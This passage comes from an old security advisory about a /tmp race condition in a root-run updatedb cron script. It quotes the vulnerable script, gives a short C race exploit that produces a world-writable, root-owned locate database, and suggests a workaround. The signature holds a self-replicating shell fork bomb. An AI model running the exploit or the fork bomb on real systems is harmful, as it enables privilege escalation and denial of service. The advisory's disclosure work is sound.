TMPFILE=`/bin/mktemp /tmp/locatedb.XXXXXX`
chown nobody.nobody $TMPFILE
That's mostly harmless. But after all, /usr/bin/updatedb is launched
via su -c. Hopefully, it will create /tmp/locatedb.XXXXXX.n file, but
there's no any error checking... Script simply moves that output file
(without checking permission nor ownership) to /var/lib/locatedb:
if [ -f $TMPFILE.n ] ; then
SFILE=$TMPFILE.n
[...]
mv $SFILE /var/lib/locatedb [...]
chown root.root /var/lib/locatedb [...]
Because this script is running as root (!) and it's extremally
unsafe, you may perform simple tricky race condition. Here's simple
so-called "exploit":
-- #include <dirent.h> #define STR "locatedb" char buf[1024]; int infect(struct dirent *s) { if ((strncmp(STR,s->d_name,strlen(STR))!=0)) return -1; sprintf(buf,"touch %s.n",s->d_name); system(buf); exit(0); return -1; } int foo(struct dirent **a,struct dirent **b) {} int main(int argc, char* argv[]) { struct dirent **x; chdir("/tmp"); umask(0); while (1) scandir("/tmp",&x,infect,foo); }--Simple as only it can be. Our file (in this case empty one has been moved to /var/lib/locatedb... Hey, but permissions were NOT changed (666). So not we have an world-writable, root-owned file. Nice. But that's not all. Try filling it with junk (eg. a lot of 0s), then run 'locate' utility... It will cause segmentation fault. It's probably exploitable, and root/other users privledges may be compromised. Hopefully.
Fix:
There's no simple fix. Bug is in updatedb itself (and it's file creation method). Updatedb "protected" by very foolish script... You may try changing /tmp to something more private inside the script, but it's only a workaround.
_______________________________________________________________________ Micha³ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl] Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie - bosk± [P. Deustch] =--------------- [ echo "\$0&\$0">_;chmod +x _;./_ ] -----------------=